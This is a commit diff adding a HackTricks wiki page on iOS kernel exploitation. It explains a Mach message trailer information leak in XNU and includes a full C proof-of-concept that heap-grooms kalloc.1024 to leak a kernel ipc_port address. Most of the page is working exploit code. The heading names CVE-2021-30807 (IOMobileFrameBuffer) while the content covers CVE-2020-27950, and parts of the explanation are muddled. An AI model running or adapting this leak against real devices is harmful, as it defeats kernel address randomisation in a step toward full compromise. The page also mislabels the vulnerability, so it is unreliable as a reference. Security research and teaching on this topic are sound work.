Skip to content

Commit 06f8b98

Browse files
committed
f
1 parent 4d6bd76 commit 06f8b98

15 files changed

Lines changed: 1592 additions & 35 deletions

File tree

src/SUMMARY.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -766,7 +766,7 @@
766766
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
767767
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
768768
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
769-
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
769+
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
770770
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
771771
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
772772
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -836,7 +836,7 @@
836836
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
837837
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
838838
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
839-
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
839+
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
840840

841841
# 🤖 AI
842842
- [AI Security](AI/README.md)
Lines changed: 345 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,345 @@
1+
# CVE-2021-30807: IOMobileFrameBuffer OOB
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
6+
## The Bug
7+
8+
You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), but as summary:
9+
10+
Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**.
11+
12+
These are the trailer relevant structs:
13+
14+
```c
15+
typedef struct{
16+
mach_msg_trailer_type_t msgh_trailer_type;
17+
mach_msg_trailer_size_t msgh_trailer_size;
18+
} mach_msg_trailer_t;
19+
20+
typedef struct{
21+
mach_msg_trailer_type_t msgh_trailer_type;
22+
mach_msg_trailer_size_t msgh_trailer_size;
23+
mach_port_seqno_t msgh_seqno;
24+
security_token_t msgh_sender;
25+
audit_token_t msgh_audit;
26+
mach_port_context_t msgh_context;
27+
int msgh_ad;
28+
msg_labels_t msgh_labels;
29+
} mach_msg_mac_trailer_t;
30+
31+
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
32+
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
33+
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
34+
```
35+
36+
Then, when the trailer object is generated, only some fields are initialized, an the max trailer size is always reserved:
37+
38+
```c
39+
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
40+
trailer->msgh_sender = current_thread()->task->sec_token;
41+
trailer->msgh_audit = current_thread()->task->audit_token;
42+
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
43+
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
44+
[...]
45+
trailer->msgh_labels.sender = 0;
46+
```
47+
48+
Then, for example, when trying to read a a mach message using `mach_msg()` the function `ipc_kmsg_add_trailer()` is called to append the trailer to the message. Inside this function the tailer size is calculated and some other trailer fields are filled:
49+
50+
```c
51+
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
52+
return trailer->msgh_trailer_size;
53+
}
54+
55+
trailer->msgh_seqno = seqno;
56+
trailer->msgh_context = context;
57+
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
58+
```
59+
60+
The `option` parameter is user-controlled, so **it's needed to pass a value that passes the `if` check.**
61+
62+
To pass this check we need to send a valid supported `option`:
63+
64+
```c
65+
#define MACH_RCV_TRAILER_NULL 0
66+
#define MACH_RCV_TRAILER_SEQNO 1
67+
#define MACH_RCV_TRAILER_SENDER 2
68+
#define MACH_RCV_TRAILER_AUDIT 3
69+
#define MACH_RCV_TRAILER_CTX 4
70+
#define MACH_RCV_TRAILER_AV 7
71+
#define MACH_RCV_TRAILER_LABELS 8
72+
73+
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
74+
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
75+
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
76+
```
77+
78+
But, becasaue the `MACH_RCV_TRAILER_MASK` is juts checking bits, we can pass any value between `0` and `8` to not enter inside the `if` statement.
79+
80+
Then, continuing with the code you can find:
81+
82+
```c
83+
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
84+
trailer->msgh_ad = 0;
85+
}
86+
87+
/*
88+
* The ipc_kmsg_t holds a reference to the label of a label
89+
* handle, not the port. We must get a reference to the port
90+
* and a send right to copyout to the receiver.
91+
*/
92+
93+
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
94+
trailer->msgh_labels.sender = 0;
95+
}
96+
97+
done:
98+
#ifdef __arm64__
99+
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
100+
#endif /* __arm64__ */
101+
102+
return trailer->msgh_trailer_size;
103+
```
104+
105+
Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
106+
107+
If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory.
108+
109+
So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated.
110+
111+
### Basic PoC
112+
113+
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
114+
115+
### Leak Kernel Address PoC
116+
117+
The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
118+
119+
Commetns were added for better understanding:
120+
121+
```c
122+
#include <stdio.h>
123+
#include <stdlib.h>
124+
#include <unistd.h>
125+
#include <mach/mach.h>
126+
127+
// Number of OOL port descriptors in the "big" message.
128+
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
129+
#define LEAK_PORTS 50
130+
131+
// "Big" message: many descriptors → larger descriptor array in kmsg
132+
typedef struct {
133+
mach_msg_header_t header;
134+
mach_msg_body_t body;
135+
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
136+
} message_big_t;
137+
138+
// "Small" message: fewer descriptors → leaves more room for the trailer
139+
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
140+
typedef struct {
141+
mach_msg_header_t header;
142+
mach_msg_body_t body;
143+
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
144+
} message_small_t;
145+
146+
int main(int argc, char *argv[]) {
147+
mach_port_t port; // our local receive port (target of sends)
148+
mach_port_t sent_port; // the port whose kernel address we want to leak
149+
150+
/*
151+
* 1) Create a receive right and attach a send right so we can send to ourselves.
152+
* This gives us predictable control over ipc_kmsg allocations when we send.
153+
*/
154+
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
155+
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
156+
157+
/*
158+
* 2) Create another receive port (sent_port). We'll reference this port
159+
* in OOL descriptors so the kernel stores pointers to its ipc_port
160+
* structure in the kmsg → those pointers are what we aim to leak.
161+
*/
162+
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
163+
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
164+
165+
printf("[*] Will get port %x address\n", sent_port);
166+
167+
message_big_t *big_message = NULL;
168+
message_small_t *small_message = NULL;
169+
170+
// Compute userland sizes of our message structs
171+
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
172+
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
173+
174+
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
175+
big_message = malloc(big_size + MAX_TRAILER_SIZE);
176+
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
177+
178+
/*
179+
* 3) Prepare the "big" message:
180+
* - Complex bit set (has descriptors)
181+
* - 50 OOL port descriptors, all pointing to the same sent_port
182+
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
183+
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
184+
*/
185+
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
186+
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
187+
188+
big_message->header.msgh_remote_port = port; // send to our receive right
189+
big_message->header.msgh_size = big_size;
190+
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
191+
| MACH_MSGH_BITS_COMPLEX;
192+
big_message->body.msgh_descriptor_count = LEAK_PORTS;
193+
194+
for (int i = 0; i < LEAK_PORTS; i++) {
195+
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
196+
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
197+
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
198+
}
199+
200+
/*
201+
* 4) Prepare the "small" message:
202+
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
203+
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
204+
*/
205+
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
206+
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
207+
208+
small_message->header.msgh_remote_port = port;
209+
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
210+
| MACH_MSGH_BITS_COMPLEX;
211+
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
212+
213+
for (int i = 0; i < LEAK_PORTS - 10; i++) {
214+
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
215+
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
216+
small_message->sent_ports[i].name = sent_port;
217+
}
218+
219+
/*
220+
* 5) Receive buffer for reading back messages with trailers.
221+
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
222+
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
223+
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
224+
*/
225+
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
226+
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
227+
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
228+
229+
/*
230+
* ---------- Exploitation sequence ----------
231+
*
232+
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
233+
* kernel pointers (ipc_port*) in its descriptor array.
234+
*/
235+
printf("[*] Sending message 1\n");
236+
mach_msg(&big_message->header,
237+
MACH_SEND_MSG,
238+
big_size, // send size
239+
0, // no receive
240+
MACH_PORT_NULL,
241+
MACH_MSG_TIMEOUT_NONE,
242+
MACH_PORT_NULL);
243+
244+
/*
245+
* Step B: Immediately receive/discard it with a zero-sized buffer.
246+
* This frees the kalloc chunk without copying descriptors back,
247+
* leaving the kernel pointers resident in freed memory (stale).
248+
*/
249+
printf("[*] Discarding message 1\n");
250+
mach_msg((mach_msg_header_t *)0,
251+
MACH_RCV_MSG, // try to receive
252+
0, // send size 0
253+
0, // recv size 0 (forces error/free path)
254+
port,
255+
MACH_MSG_TIMEOUT_NONE,
256+
MACH_PORT_NULL);
257+
258+
/*
259+
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
260+
* We slightly bump msgh_size by +4 so that when the kernel appends
261+
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
262+
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
263+
*/
264+
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
265+
printf("[*] Sending message 2\n");
266+
mach_msg(&small_message->header,
267+
MACH_SEND_MSG,
268+
small_size + sizeof(uint32_t),
269+
0,
270+
MACH_PORT_NULL,
271+
MACH_MSG_TIMEOUT_NONE,
272+
MACH_PORT_NULL);
273+
274+
/*
275+
* Step D: Receive message 2 and request an invalid trailer elements value (5).
276+
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
277+
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
278+
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
279+
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
280+
*/
281+
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
282+
printf("[*] Reading back message 2\n");
283+
mach_msg((mach_msg_header_t *)buffer,
284+
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
285+
0,
286+
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
287+
port,
288+
MACH_MSG_TIMEOUT_NONE,
289+
MACH_PORT_NULL);
290+
291+
// Trailer begins right after the message body we sent (small_size + 4)
292+
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
293+
294+
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
295+
sent_port_address |= (uint32_t)trailer->msgh_ad;
296+
297+
/*
298+
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
299+
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
300+
*/
301+
printf("[*] Sending message 3\n");
302+
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
303+
304+
printf("[*] Discarding message 3\n");
305+
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
306+
307+
// add another +4 to msgh_size → total +8 shift from the baseline
308+
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
309+
printf("[*] Sending message 4\n");
310+
mach_msg(&small_message->header,
311+
MACH_SEND_MSG,
312+
small_size + sizeof(uint32_t)*2,
313+
0,
314+
MACH_PORT_NULL,
315+
MACH_MSG_TIMEOUT_NONE,
316+
MACH_PORT_NULL);
317+
318+
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
319+
printf("[*] Reading back message 4\n");
320+
mach_msg((mach_msg_header_t *)buffer,
321+
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
322+
0,
323+
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
324+
port,
325+
MACH_MSG_TIMEOUT_NONE,
326+
MACH_PORT_NULL);
327+
328+
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
329+
330+
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
331+
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
332+
333+
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
334+
335+
return 0;
336+
}
337+
```
338+
339+
340+
## References
341+
342+
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
343+
344+
345+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)